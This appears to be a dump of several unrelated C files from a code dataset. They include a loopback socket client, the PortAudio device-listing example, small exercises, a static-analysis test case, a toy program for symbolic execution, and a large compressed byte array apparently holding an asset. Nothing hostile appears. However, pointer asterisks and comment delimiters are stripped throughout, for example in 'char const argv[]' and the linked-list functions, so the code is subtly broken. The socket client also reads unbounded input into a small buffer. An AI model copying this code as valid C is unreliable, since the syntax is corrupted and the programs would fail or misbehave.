the_stack_data/220456894.c	// Client side C/C++ program to demonstrate Socket programming #include <stdio.h> #include <sys/socket.h> #include <arpa/inet.h> #include <unistd.h> #include <string.h> #define PORT 12345 int main(int argc, char const argv[]) { int sock = 0, valread; struct sockaddr_in serv_addr; char hello[] = "Hello from client"; char buffer[1024] = {0}; if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("\n Socket creation error \n"); return -1; } serv_addr.sin_family = AF_INET; serv_addr.sin_port = htons(PORT); // Convert IPv4 and IPv6 addresses from text to binary form if(inet_pton(AF_INET, "127.0.0.1", &serv_addr.sin_addr)<=0) { printf("\nInvalid address/ Address not supported \n"); return -1; } if (connect(sock, (struct sockaddr )&serv_addr, sizeof(serv_addr)) < 0) { printf("\nConnection Failed \n"); return -1; } while(1) { printf(" > "); scanf("%s", hello); // printf("%s you", hello); write(sock , &hello , strlen(hello)); printf("sent ok!\n"); valread = read( sock , buffer, 1024); printf("%s\n",buffer ); } close(sock); return 0; }
the_stack_data/62637846.c	/** @file pa_devs.c @ingroup examples_src @brief List available devices, including device information. @author Phil Burk http://www.softsynth.com @note Define PA_USE_ASIO=0 to compile this code on Windows without ASIO support. / / * $Id: pa_devs.c 1817 2012-02-22 12:44:10Z robiwan $ * * This program uses the PortAudio Portable Audio Library. * For more information see: http://www.portaudio.com * Copyright (c) 1999-2000 Ross Bencina and Phil Burk * * Permission is hereby granted, free of charge, to any person obtaining * a copy of this software and associated documentation files * (the "Software"), to deal in the Software without restriction, * including without limitation the rights to use, copy, modify, merge, * publish, distribute, sublicense, and/or sell copies of the Software, * and to permit persons to whom the Software is furnished to do so, * subject to the following conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR * ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF * CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. / / * The text above constitutes the entire PortAudio license; however, * the PortAudio community also makes the following non-binding requests: * * Any person wishing to distribute modifications to the Software is * requested to send the modifications to the original developer so that * they can be incorporated into the canonical version. It is also * requested that these non-binding requests be included along with the * license above. / #include <stdio.h> #include <math.h> #include "portaudio.h" #ifdef WIN32 #include <windows.h> #if PA_USE_ASIO #include "pa_asio.h" #endif #endif /*****************************************************************/ static void PrintSupportedStandardSampleRates( const PaStreamParameters inputParameters, const PaStreamParameters outputParameters ) { static double standardSampleRates[] = { 8000.0, 9600.0, 11025.0, 12000.0, 16000.0, 22050.0, 24000.0, 32000.0, 44100.0, 48000.0, 88200.0, 96000.0, 192000.0, -1 / negative terminated list / }; int i, printCount; PaError err; printCount = 0; for( i=0; standardSampleRates[i] > 0; i++ ) { err = Pa_IsFormatSupported( inputParameters, outputParameters, standardSampleRates[i] ); if( err == paFormatIsSupported ) { if( printCount == 0 ) { printf( "\t%8.2f", standardSampleRates[i] ); printCount = 1; } else if( printCount == 4 ) { printf( ",\n\t%8.2f", standardSampleRates[i] ); printCount = 1; } else { printf( ", %8.2f", standardSampleRates[i] ); ++printCount; } } } if( !printCount ) printf( "None\n" ); else printf( "\n" ); } /*****************************************************************/ int main(void); int main(void) { int i, numDevices, defaultDisplayed; const PaDeviceInfo deviceInfo; PaStreamParameters inputParameters, outputParameters; PaError err; err = Pa_Initialize(); if( err != paNoError ) { printf( "ERROR: Pa_Initialize returned 0x%x\n", err ); goto error; } printf( "PortAudio version number = %d\nPortAudio version text = '%s'\n", Pa_GetVersion(), Pa_GetVersionText() ); numDevices = Pa_GetDeviceCount(); if( numDevices < 0 ) { printf( "ERROR: Pa_GetDeviceCount returned 0x%x\n", numDevices ); err = numDevices; goto error; } printf( "Number of devices = %d\n", numDevices ); for( i=0; i<numDevices; i++ ) { deviceInfo = Pa_GetDeviceInfo( i ); printf( "--------------------------------------- device #%d\n", i ); /* Mark global and API specific default devices / defaultDisplayed = 0; if( i == Pa_GetDefaultInputDevice() ) { printf( "[ Default Input" ); defaultDisplayed = 1; } else if( i == Pa_GetHostApiInfo( deviceInfo->hostApi )->defaultInputDevice ) { const PaHostApiInfo hostInfo = Pa_GetHostApiInfo( deviceInfo->hostApi ); printf( "[ Default %s Input", hostInfo->name ); defaultDisplayed = 1; } if( i == Pa_GetDefaultOutputDevice() ) { printf( (defaultDisplayed ? "," : "[") ); printf( " Default Output" ); defaultDisplayed = 1; } else if( i == Pa_GetHostApiInfo( deviceInfo->hostApi )->defaultOutputDevice ) { const PaHostApiInfo hostInfo = Pa_GetHostApiInfo( deviceInfo->hostApi ); printf( (defaultDisplayed ? "," : "[") ); printf( " Default %s Output", hostInfo->name ); defaultDisplayed = 1; } if( defaultDisplayed ) printf( " ]\n" ); / print device info fields / #ifdef WIN32 { / Use wide char on windows, so we can show UTF-8 encoded device names / wchar_t wideName[MAX_PATH]; MultiByteToWideChar(CP_UTF8, 0, deviceInfo->name, -1, wideName, MAX_PATH-1); wprintf( L"Name = %s\n", wideName ); } #else printf( "Name = %s\n", deviceInfo->name ); #endif printf( "Host API = %s\n", Pa_GetHostApiInfo( deviceInfo->hostApi )->name ); printf( "Max inputs = %d", deviceInfo->maxInputChannels ); printf( ", Max outputs = %d\n", deviceInfo->maxOutputChannels ); printf( "Default low input latency = %8.4f\n", deviceInfo->defaultLowInputLatency ); printf( "Default low output latency = %8.4f\n", deviceInfo->defaultLowOutputLatency ); printf( "Default high input latency = %8.4f\n", deviceInfo->defaultHighInputLatency ); printf( "Default high output latency = %8.4f\n", deviceInfo->defaultHighOutputLatency ); #ifdef WIN32 #if PA_USE_ASIO / ASIO specific latency information / if( Pa_GetHostApiInfo( deviceInfo->hostApi )->type == paASIO ){ long minLatency, maxLatency, preferredLatency, granularity; err = PaAsio_GetAvailableLatencyValues( i, &minLatency, &maxLatency, &preferredLatency, &granularity ); printf( "ASIO minimum buffer size = %ld\n", minLatency ); printf( "ASIO maximum buffer size = %ld\n", maxLatency ); printf( "ASIO preferred buffer size = %ld\n", preferredLatency ); if( granularity == -1 ) printf( "ASIO buffer granularity = power of 2\n" ); else printf( "ASIO buffer granularity = %ld\n", granularity ); } #endif / PA_USE_ASIO / #endif / WIN32 / printf( "Default sample rate = %8.2f\n", deviceInfo->defaultSampleRate ); / poll for standard sample rates / inputParameters.device = i; inputParameters.channelCount = deviceInfo->maxInputChannels; inputParameters.sampleFormat = paInt16; inputParameters.suggestedLatency = 0; / ignored by Pa_IsFormatSupported() / inputParameters.hostApiSpecificStreamInfo = NULL; outputParameters.device = i; outputParameters.channelCount = deviceInfo->maxOutputChannels; outputParameters.sampleFormat = paInt16; outputParameters.suggestedLatency = 0; / ignored by Pa_IsFormatSupported() */ outputParameters.hostApiSpecificStreamInfo = NULL; if( inputParameters.channelCount > 0 ) { printf("Supported standard sample rates\n for half-duplex 16 bit %d channel input = \n", inputParameters.channelCount ); PrintSupportedStandardSampleRates( &inputParameters, NULL ); } if( outputParameters.channelCount > 0 ) { printf("Supported standard sample rates\n for half-duplex 16 bit %d channel output = \n", outputParameters.channelCount ); PrintSupportedStandardSampleRates( NULL, &outputParameters ); } if( inputParameters.channelCount > 0 && outputParameters.channelCount > 0 ) { printf("Supported standard sample rates\n for full-duplex 16 bit %d channel input, %d channel output = \n", inputParameters.channelCount, outputParameters.channelCount ); PrintSupportedStandardSampleRates( &inputParameters, &outputParameters ); } } Pa_Terminate(); printf("----------------------------------------------\n"); return 0; error: Pa_Terminate(); fprintf( stderr, "Error number: %d\n", err ); fprintf( stderr, "Error message: %s\n", Pa_GetErrorText( err ) ); return err; }
the_stack_data/298427.c	#include<stdio.h> #include<string.h> #include<stdbool.h> int magic_string_len(char str[], int len) { int i = 0; int j = len-1; bool flag_a, flag_b; int magic_len = 0; while(i<j) { if(str[i++] == '>' && str[j--] == '<') { magic_len += 2; } while(str[i] != '>' && i<j) { i++; } while(str[j] != '<' && i<j) { j--; } } return magic_len; } void main() { //char str[] = "<><><<>"; char str[] = "<<>>"; //char str[] = "<<<<><>>><>>><>><>><>>><<<<>><>>>>><<>>>>><><<<<>>"; //char str[] = ">>><<<"; int len = strlen(str); int res = magic_string_len(str, len); printf("magic str len is %d", res); }
the_stack_data/23574175.c	//Classification: #default/n/DEC/AIC/aS/A(A(c),A(v))/fr/cd //Written by: Sergey Pomelov //Reviewed by: Igor Eremeev //Comment: #include<stdio.h> int func(int a) { if (((a=0)==0)&&(a<0)) { return a + 1; } else { return a + 2; } } int main(void) { int a; scanf("%d",&a); printf("%d ",a); a = func(a); printf("%d ",a); return 0; }
the_stack_data/7949182.c	#include <errno.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/statvfs.h> int main(int argc, char* argv[]) { int retval; struct statvfs buf; if (argc != 2) { fprintf(stderr, "Usage: checkro <mountpoint>\n"); exit(9); } retval = statvfs(argv[1], &buf); if (retval != 0) { fprintf(stderr, "failed to check filesystem '%s': %s\n", argv[1], strerror(errno)); exit(1); } if (buf.f_flag & ST_RDONLY) { printf("1\n"); } else { printf("0\n"); } exit(0); }
the_stack_data/117788.c	#include <stdio.h> #include <stdlib.h> struct node{ int value; struct node* next; }; typedef struct node node_t; void printList(node_t head){ node_t temporary = head; while(temporary != NULL){ printf("%d -", temporary->value); temporary = temporary->next; } printf("\n"); } node_t create_new_node(int value){ node_tresult = malloc(sizeof(node_t)); result->value = value; result->next = NULL; return result; } node_t insert_at_head(node_t head,node_t node_to_insert){ node_to_insert->next = head; head = node_to_insert; return node_to_insert; } void insert_after_node(node_t node_to_insert_after,node_t newnode){ newnode->next = node_to_insert_after->next; node_to_insert_after->next = newnode; } node_t find_node(node_t head,int value){ node_t tmp = head; while(tmp != NULL){ if(tmp->value == value)return tmp; tmp = tmp->next; } return NULL; } int main(){ node_t head = NULL; node_t *tmp; int c; for(c=0 ;c<25 ; c++){ tmp = create_new_node(c); insert_at_head(&head, tmp); } tmp = find_node(head, 13); printf("Found Node With Value %d\n", tmp->value); insert_after_node(tmp,create_new_node(75)); printList(head); return 0; }
the_stack_data/31387541.c	/* Minimal toy example with input output * * This program will read data from stdin and compare it with a constant string * using standard strcmp function. * * Compile with : * $ gcc toy004-strcmp.c -o toy004-strcmp * * Analize it with: * $ python system.py --sym stdin example/toy004-strcmp / #include <stdio.h> #include <stdlib.h> int main(int argc, char argv[], char* envp[]){ char buffer[0x100] = {0}; unsigned char cmd; read(0, buffer, 0x100); if (strcmp(buffer, "ZARAZA") == 0 ) /if (buffer[0] == 'Z' && \ buffer[1] == 'A' && \ buffer[2] == 'R' && \ buffer[3] == 'A' && \ buffer[4] == 'Z' && \ buffer[5] == 'A' && \ buffer[6] == '\x00')/ { printf("Message: ZARAZA!\n"); } else { printf("Message: Not Found!\n"); } return 0; }
the_stack_data/184517636.c	#include<stdlib.h> size_t fire_s = 228616; size_t fire_sz = 35220; const char fire_z[] = { 0x78,0xda,0xec,0xbd,0x5,0x97,0x9d,0x55,0xb6,0x35,0xfc,0x6b,0x1a,0x9a,0xa6,0xe9, 0x34,0xae,0x1,0x92,0x60,0x21,0x2,0xc4,0xdd,0xdd,0x93,0x8a,0xbb,0x5b,0x45,0x2a, 0x5a,0x71,0x77,0x77,0x21,0x24,0x40,0x70,0x77,0x9a,0xbe,0xbf,0xe6,0xad,0x99,0xc9, 0x62,0xc9,0xde,0xfb,0x39,0xa7,0x42,0xdf,0x3b,0xbe,0x6f,0x8c,0x7e,0xc6,0xb8,0xb7, 0xc9,0xa9,0x23,0x8f,0xec,0xbd,0x64,0xae,0xb9,0xe6,0x5a,0xbc,0xf8,0xbf,0xc7,0x7f, 0x8f,0xff,0x1e,0xff,0x3d,0xfe,0x7b,0xfc,0xf7,0xf8,0x4f,0x1c,0x8b,0xee,0x1d,0xff, 0xbd,0xf,0xff,0xff,0xb8,0xcb,0x8b,0x92,0x23,0xff,0xb7,0xfa,0xbe,0xa1,0xde,0xdf, 0xa8,0xe7,0x7b,0x4b,0xdf,0xf2,0x7f,0x7f,0x47,0xef,0xef,0x7c,0xab,0xae,0xbb,0xfe, 0xf3,0xb8,0xff,0xdf,0xfd,0xcf,0xdf,0x9b,0x78,0x5e,0xff,0x89,0xbb,0x9c,0x3f,0x57, 0x7d,0xb5,0x75,0x2b,0xf0,0xfe,0x9f,0x4d,0xfd,0xdf,0x7e,0xff,0x9f,0xa8,0xbd,0x4b, 0x6a,0xef,0xc9,0xfa,0x77,0x56,0xeb,0x76,0x64,0x7d,0xdf,0x5d,0xef,0xaf,0xc6,0xb5, 0x52,0xcf,0xf3,0xa8,0xe7,0xec,0xca,0xe7,0xdc,0x3a,0xab,0xf2,0x67,0xf6,0x72,0xeb, 0xd6,0xf8,0xfd,0xd9,0xbc,0xaa,0x77,0x56,0x5d,0xff,0x9f,0xb7,0x9d,0xb9,0xfd,0x59, 0xdf,0xa7,0x6a,0xaf,0xca,0x3f,0xe3,0x35,0x5a,0xb3,0xe6,0xab,0x57,0x4d,0xfa,0x9e, 0xd6,0xec,0x82,0xd6,0x9e,0xc5,0xfd,0x79,0xdf,0x5a,0x5e,0xf9,0xcf,0x3c,0x8b,0xff, 0x84,0xf5,0xbc,0x9f,0x35,0xe6,0xcf,0xe1,0x3f,0xf5,0xab,0xff,0xbb,0xd1,0xc0,0xfd, 0x7a,0xfe,0xfb,0xbf,0x5f,0xf7,0x1b,0x49,0xd5,0x6b,0xbb,0xcb,0x6b,0xe8,0x7e,0xec, 0x53,0x79,0xed,0xfe,0xdf,0xe4,0x2,0xf5,0xc5,0x6c,0xad,0xf7,0xc5,0xb5,0x9f,0x47, 0xb5,0xb5,0xb9,0x7f,0x7f,0xdd,0xfa,0xe3,0xcf,0xdf,0xb3,0xfb,0x59,0x4d,0xf5,0xdb, 0xc3,0x3f,0x63,0x43,0xff,0xb3,0x3b,0xf8,0x7f,0xfb,0x4e,0xd7,0xde,0x53,0x7f,0xe6, 0xe,0xfb,0xb5,0x58,0xf2,0x60,0xf5,0x5c,0x43,0xd5,0x8e,0x6d,0xcd,0xfd,0xfd,0xdf, 0x59,0xcf,0xad,0x3d,0x93,0xff,0x9d,0xdf,0xae,0xb5,0xef,0xeb,0xcd,0x29,0xaa,0x57, 0x7d,0xad,0x95,0xf3,0xff,0x1d,0x7c,0xa1,0xca,0x6a,0xd4,0xf7,0x8d,0x4b,0xee,0x1d, 0xe9,0x6b,0xff,0x5b,0x4f,0xba,0xd6,0xb9,0xfc,0xdf,0xad,0xae,0xda,0x9e,0xa7,0x36, 0xf2,0xb2,0x64,0x89,0xbd,0x7f,0xf9,0x98,0x50,0xde,0x51,0xbe,0x7e,0x7b,0xdd,0xb9, 0x95,0xba,0xf0,0xde,0x21,0xdf,0x65,0xbf,0x79,0xe9,0xbd,0x43,0xbe,0x1d,0xef,0xe1, 0xa7,0xf8,0x9b,0x4b,0x97,0x2e,0xfb,0xe3,0xe0,0xfb,0xf8,0xaa,0x7c,0xca,0x1e,0xfa, 0x2a,0xbe,0x67,0x41,0xcb,0x31,0x7f,0xfe,0xbc,0x79,0x73,0xe7,0xce,0x69,0x39,0xe6, 0xcd,0x5b,0xb0,0x60,0xd1,0x22,0x7e,0x9f,0x7c,0x12,0xff,0xbd,0xfc,0xde,0xb1,0x6c, 0x99,0x9c,0xbd,0xbc,0xca,0xdf,0x93,0xef,0x5d,0xbe,0x7c,0xc5,0xbd,0x83,0xaf,0xc9, 0xd9,0xc9,0xe7,0xf5,0x35,0x9e,0xad,0xfc,0x3b,0xdd,0xd9,0xf2,0x5d,0xf6,0x17,0xe5, 0x3d,0xb8,0x3f,0xb,0xfe,0x38,0x16,0x2e,0xb4,0xeb,0x5a,0x3e,0x2b,0xf7,0x41,0x7f, 0x9d,0xdf,0x83,0xbf,0xcb,0x6f,0x2f,0x5a,0x84,0xcf,0x2f,0x5a,0x84,0x5f,0x5a,0xd9, 0x72,0xe0,0xac,0x17,0x2f,0xe6,0xbd,0x98,0x37,0x6f,0xfe,0x7c,0xde,0x61,0xfc,0x1e, 0xef,0xe,0x5e,0xc3,0x9d,0xe1,0xf7,0xe2,0xd5,0xf9,0xf3,0xf5,0xf7,0xf5,0xdc,0x78, 0xc8,0x3d,0xe5,0xe7,0xf0,0x4e,0x9e,0x2d,0xbf,0x13,0x7f,0xc5,0x6b,0xf2,0xb,0xf2, 0x6f,0x79,0xf6,0xf2,0x5d,0xf8,0x3d,0x9c,0xdd,0xaa,0x96,0x63,0xc5,0x8a,0xa5,0x4b, 0xe5,0x1e,0xc9,0x33,0x5c,0xbc,0x18,0xe7,0x31,0x77,0x2e,0x7f,0x67,0xe1,0xc2,0x25, 0x4b,0x56,0xac,0x58,0xb5,0x6a,0xe5,0xca,0x65,0xcb,0x16,0x2d,0xe2,0x39,0xe3,0x37, 0xf8,0x2e,0x5e,0x13,0xcf,0x96,0xbf,0x69,0xcf,0x56,0xce,0xc0,0xde,0x59,0xb9,0xe, 0xb9,0xa,0xfe,0x9b,0x77,0x67,0xd1,0xa2,0x65,0xcb,0xf0,0x5b,0x72,0x5e,0xfc,0xbe, 0xc5,0x8b,0x79,0x6f,0xf9,0x94,0x57,0xac,0x58,0xbd,0x7a,0xed,0xda,0x35,0x6b,0xf0, 0xe,0x9e,0x35,0xaf,0x5,0xf7,0x7a,0xe9,0xd2,0x5,0xb,0xe6,0xcc,0x99,0x35,0x6b, 0xf6,0xec,0xf9,0xf3,0x97,0x2e,0x5d,0xb5,0x6a,0xcd,0x9a,0xd5,0xab,0x97,0x2d,0x5b, 0xb8,0x50,0x5e,0x5b,0xb2,0x64,0xe5,0xca,0xd5,0xab,0x57,0xad,0x5a,0xb2,0x64,0xde, 0xbc,0x99,0x33,0x67,0xcc,0x98,0x35,0xb,0xaf,0xad,0x58,0x81,0x27,0x85,0x67,0x89, 0xef,0x5b,0xba,0x74,0xf5,0xea,0xf5,0xeb,0x37,0x6c,0x68,0x6c,0x5c,0xb6,0x6c,0xde, 0xbc,0x19,0x2d,0xc7,0x9c,0x39,0xb8,0x5e,0xb9,0x5a,0x9c,0x23,0xbe,0x65,0xcd,0xbd, 0x3,0x67,0xba,0x64,0x9,0xae,0x87,0x2b,0x1c,0xdf,0x31,0x77,0xee,0x8c,0x19,0xd3, 0xa6,0x35,0x34,0xcc,0x9a,0xb5,0x70,0xe1,0xaa,0x55,0xeb,0xd6,0xad,0x5f,0xbf,0x76, 0xed,0xb2,0x65,0xb,0x16,0xf0,0x6e,0xe2,0x1a,0xf0,0xac,0x78,0xc5,0x38,0xf8,0x44, 0xe7,0xcc,0xe1,0x4e,0xe1,0xda,0xc1,0xd9,0xe0,0x17,0x65,0xdf,0x70,0x55,0xe3,0x95, 0xd9,0xb3,0xa7,0x4f,0x6f,0x68,0x98,0x39,0x73,0xc1,0x82,0xe5,0xcb,0x71,0x6,0xcb, 0x97,0x2f,0x58,0x30,0x7b,0x36,0xae,0x64,0xf9,0xf2,0xc6,0xc6,0xf5,0xeb,0x1b,0x1b, 0x57,0xac,0xe0,0x2b,0x73,0xe7,0x2e,0x59,0xb2,0x7a,0xf5,0xba,0x96,0x63,0xf5,0x6a, 0xbd,0x33,0x73,0xe6,0xf0,0x89,0xe1,0x57,0x78,0xe7,0x78,0x1d,0xcb,0x97,0x73,0x9d, 0xf2,0x6f,0xf2,0x8b,0xf8,0xd4,0xf4,0xe9,0x53,0x5a,0x8e,0x19,0x33,0x78,0x35,0xfc, 0xfe,0x59,0xb3,0x66,0xce,0xc4,0x1d,0xe5,0xba,0xc3,0xb5,0x2c,0x5c,0x88,0xdf,0xdf, 0xb4,0x69,0xcb,0x96,0x4d,0x9b,0xd6,0xaf,0x5f,0xb5,0xa,0xeb,0x5e,0xef,0xd9,0x8a, 0x15,0xeb,0xd6,0x35,0xb5,0x1c,0x8d,0x8d,0xcb,0x97,0xe3,0x13,0xbc,0xf,0xf8,0x15, 0x3c,0x71,0xdc,0xcd,0x95,0x2b,0xf9,0x54,0xa6,0x4f,0x9f,0x39,0x73,0xfe,0xfc,0x15, 0x2b,0xd6,0xaf,0xdf,0xb4,0x69,0xc3,0x86,0x15,0x2b,0xe6,0xcc,0x99,0x32,0x65,0xe2, 0xc4,0xa9,0x53,0xe7,0xce,0x5d,0xbe,0x7c,0xfd,0xfa,0xad,0x5b,0x77,0xec,0xd8,0xb9, 0xb3,0xb9,0x79,0xd3,0xa6,0x55,0xab,0xe6,0xcf,0x9f,0x3e,0x7d,0xea,0xd4,0x86,0x6, 0x9c,0x7,0x56,0xb5,0xae,0x2c,0x9c,0xdd,0x8c,0x19,0x33,0x7f,0x3f,0x66,0xcf,0x5e, 0xb0,0x60,0xe9,0x52,0x3c,0xb3,0xd5,0xab,0x57,0xae,0x5c,0xba,0x74,0xe1,0xc2,0x59, 0xb3,0x26,0x4f,0x1e,0xd7,0x72,0x4c,0x99,0x32,0x67,0xe,0x56,0xf2,0xdc,0xb9,0xd, 0xd,0x53,0xa6,0x4c,0x9f,0xbe,0x60,0x1,0xae,0x10,0x4f,0x6b,0xfe,0x7c,0x7c,0x72, 0xde,0xbc,0xe5,0xcb,0x37,0x6c,0xd8,0xbe,0x1d,0xbf,0xb7,0x72,0x25,0x57,0xc3,0xec, 0xd9,0x78,0x5e,0xb3,0x67,0xcf,0x9d,0xbb,0x74,0xe9,0xc6,0x8d,0x7b,0xf6,0x1c,0x38, 0xb0,0x73,0xe7,0x9a,0x35,0xf3,0xe6,0xe1,0xbc,0x17,0x2e,0x5c,0xb1,0x82,0xeb,0x62, 0xed,0xda,0x75,0xeb,0x36,0xb4,0x1c,0x1b,0x37,0x36,0x35,0x6d,0x6e,0x39,0x36,0x6e, 0xc4,0x93,0xc2,0x5a,0x5d,0xbb,0x76,0xd3,0xa6,0xed,0xdb,0x77,0xb4,0x1c,0xdb,0xb6, 0x6d,0xd8,0xb0,0x6c,0xd9,0xec,0xd9,0x53,0xa7,0x4e,0x9b,0x36,0x6f,0x1e,0x7e,0x79, 0xcd,0x9a,0x45,0x8b,0x66,0xce,0xc4,0x15,0x2d,0x5a,0x84,0xa7,0x83,0xf5,0xb4,0x6a, 0xd5,0x86,0xd,0xb8,0xa7,0x78,0x8a,0x6b,0xd6,0x34,0x35,0x35,0x37,0xef,0xdc,0xb9, 0x75,0x6b,0x63,0x23,0xae,0x63,0xc9,0x92,0xc6,0xc6,0xdd,0xbb,0xcf,0x9e,0xbd,0x7d, 0xfb,0xee,0xdd,0xeb,0xd7,0xf7,0xed,0x5b,0xb8,0x70,0xe4,0xc8,0x1,0x3,0x86,0xf, 0x9f,0x3e,0x1d,0xab,0x1a,0x3b,0x66,0xc5,0x8a,0x4d,0x9b,0x70,0x8e,0xbb,0x76,0x35, 0x35,0xe1,0xfa,0xf1,0xaf,0xe3,0xc7,0xcf,0x9e,0x3d,0x77,0xee,0xd4,0xa9,0x3,0x7, 0x9a,0x9a,0x16,0x2c,0x18,0x37,0x6e,0x48,0xcb,0x31,0x6e,0xdc,0x82,0x5,0x5b,0xb6, 0x9c,0x3c,0x79,0xfd,0xfa,0xcd,0x9b,0xa7,0x4e,0x35,0x35,0xcd,0x98,0x31,0x66,0x4c, 0x43,0xc3,0x96,0x2d,0x37,0x6f,0xfe,0xf8,0xe3,0xf7,0xdf,0x5f,0xbf,0xbe,0x7d,0x3b, 0x9e,0xd6,0xf6,0xed,0x17,0x2f,0x7e,0xf2,0xc9,0x37,0xdf,0x7c,0xf1,0xc5,0x9d,0x3b, 0xe7,0xce,0xed,0xdb,0xb7,0x71,0x23,0xf6,0xca,0xfe,0xfd,0x37,0x6e,0x7c,0xfb,0xed, 0xbf,0xff,0xfd,0xdb,0x6f,0xdf,0x7d,0xf7,0xd1,0x47,0xef,0xbe,0x7b,0xb5,0xe5,0xb8, 0x71,0x3,0xe7,0xf4,0xf1,0xc7,0x77,0xef,0xbe,0xfb,0xee,0xc5,0x8b,0x67,0xce,0x5c, 0xbc,0x78,0xfb,0xf6,0xe7,0x9f,0x7f,0xf1,0xc5,0x8d,0x1b,0xcd,0xcd,0x93,0x27,0x77, 0xea,0xf4,0xd4,0x53,0xcf,0x3c,0xf3,0xf6,0xdb,0x33,0x67,0xee,0xdd,0x7b,0xed,0xda, 0xd5,0xab,0x3b,0x76,0x8c,0x1e,0xfd,0xec,0xb3,0x7f,0xf9,0xcb,0xc3,0xf,0x77,0xef, 0xbe,0x66,0xcd,0x8d,0x1b,0x3f,0xff,0xfc,0x3f,0xff,0xf3,0xcb,0x2f,0x5f,0x7d,0xf5, 0xd1,0x47,0xef,0xbd,0x77,0xed,0xda,0x85,0xb,0xe7,0xcf,0x5f,0xbd,0xfa,0xc1,0x7, 0x5f,0x7d,0xf5,0xc3,0xf,0xdf,0x7f,0xff,0xf5,0xd7,0x5f,0x7c,0xf1,0xd9,0x67,0x1f, 0x7f,0x7c,0xfb,0xf6,0xc5,0x8b,0x47,0x8f,0xee,0x6b,0x39,0xe,0x1f,0x3e,0x72,0x64, 0xcf,0x9e,0xc6,0xc6,0xd9,0xb3,0x27,0x4e,0x9c,0x3c,0x79,0xd1,0xa2,0xed,0xdb,0x4f, 0x9f,0xbe,0x7a,0xf5,0xca,0x95,0x93,0x27,0xf7,0xee,0xc5,0xb3,0xdb,0xb7,0xef,0xe8, 0xd1,0x23,0x47,0xb6,0x6f,0x9f,0x3f,0x7f,0xe0,0xc0,0xf6,0xed,0xff,0xf9,0xcf,0x7, 0x1f,0xfc,0xcb,0x5f,0x1e,0x7c,0xb0,0x4d,0x9b,0x76,0xed,0x6,0xe,0x5c,0xb0,0xa0, 0xb9,0xf9,0xe0,0xc1,0x9d,0x3b,0x57,0xaf,0xc6,0xee,0x58,0xbe,0xbc,0xb9,0xf9,0xd8, 0xb1,0xd3,0xa7,0x8f,0x1f,0x3f,0x78,0x70,0xef,0xde,0x7d,0xfb,0xf6,0xef,0xdf,0xbb, 0xb7,0xb9,0x79,0xe3,0x46,0xd8,0x9b,0xf5,0xeb,0xb7,0x6c,0xd9,0xb1,0x63,0xd7,0xae, 0xdd,0xbb,0xf7,0xee,0x3d,0x70,0xe0,0xd0,0xa1,0x7d,0xfb,0x36,0x6c,0x98,0x36,0xed, 0x9d,0x77,0x1e,0x7f,0xfc,0x2f,0xf7,0x8e,0x7,0x1f,0xfc,0xeb,0x5f,0x1f,0x78,0x40, 0xfe,0xfb,0xc1,0x7,0xe5,0xbf,0xf5,0x78,0xe0,0x81,0xbf,0xfe,0xf5,0xe1,0x87,0x1f, 0xf9,0xe3,0x68,0xd3,0xe6,0xd1,0x47,0x1f,0x7b,0xec,0xd1,0x47,0x1f,0x79,0xe4,0x6f, 0x2d,0xc7,0x3f,0xfe,0xf1,0xd4,0x53,0x6d,0xdb,0xbe,0xf8,0xe2,0xb3,0xcf,0xb6,0x69, 0xc3,0xcf,0x3e,0xf0,0xc0,0x43,0xf,0xfd,0xed,0x6f,0xf8,0xd6,0xbf,0xfe,0xf5,0xef, 0x7f,0xff,0xe7,0x3f,0x1f,0x6f,0x39,0x9e,0x7c,0xf2,0xd9,0x67,0x5f,0x7a,0xa9,0x7d, 0xfb,0x17,0x5f,0x7c,0xf2,0xc9,0x87,0x1e,0xe2,0xf7,0x3e,0xf4,0xd0,0x5f,0xff,0xca, 0xff,0xfa,0xdb,0xdf,0x9e,0x7a,0xea,0xa5,0x97,0xda,0xb5,0x7b,0xe1,0x85,0xc7,0x1f, 0xff,0xfb,0xdf,0xff,0xf6,0xb7,0x47,0x1e,0x79,0xf4,0xd1,0xc7,0x1f,0x7f,0xec,0xb1, 0x7f,0xfe,0xf3,0x1f,0xff,0xc0,0xaf,0xe1,0xf3,0x4f,0x3f,0xfd,0xec,0xb3,0x2f,0xbc, 0x80,0xef,0x78,0xf5,0xd5,0x37,0xde,0x78,0xf3,0xcd,0x4e,0x9d,0x3a,0x76,0xec,0xd0, 0xa1,0x6d,0xdb,0x67,0x9e,0x79,0xfa,0xe9,0xe7,0x9e,0x7b,0xf1,0xc5,0x97,0x5e,0xc2, 0x39,0x3c,0xf6,0xd8,0xdf,0xfe,0xc6,0xef,0x7c,0xe2,0x89,0x37,0xdf,0x1c,0x36,0x6c, 0xf2,0xe4,0x9,0x13,0xfa,0xf5,0x7b,0xe5,0x95,0xe7,0x9e,0x7b,0xe5,0x95,0x81,0x3, 0x67,0xcf,0x86,0xbd,0x85,0x6d,0x58,0xb6,0x6c,0xe7,0xce,0x2b,0x57,0xbe,0xf8,0xe2, 0xe7,0x9f,0xff,0xd5,0x72,0xfc,0xf6,0xdb,0xbf,0xff,0xfd,0x3f,0x2d,0x7,0xff,0x3f, 0x9f,0xe1,0xdd,0xbb,0x1f,0x7e,0xf8,0xe9,0xa7,0xdf,0x7d,0xf7,0xeb,0xaf,0xff,0xbe, 0x77,0xfc,0xcf,0xef,0x87,0xfc,0xf7,0x6f,0xbf,0xfd,0xf4,0xd3,0x77,0xdf,0x7d,0xff, 0xfd,0x2f,0xbf,0xe0,0x5f,0x3f,0xff,0xfc,0xcd,0x37,0x5f,0x7e,0x89,0x77,0xff,0xf6, 0xdb,0x8f,0x3f,0x7e,0xfa,0xe9,0x7b,0x2d,0xc7,0xc7,0x1f,0xe3,0xdf,0xf8,0xcb,0x67, 0x9f,0x7d,0xfe,0xf9,0x77,0xdf,0xfd,0xeb,0x5f,0xfc,0x6,0xf9,0xb5,0x5f,0x7f,0xfd, 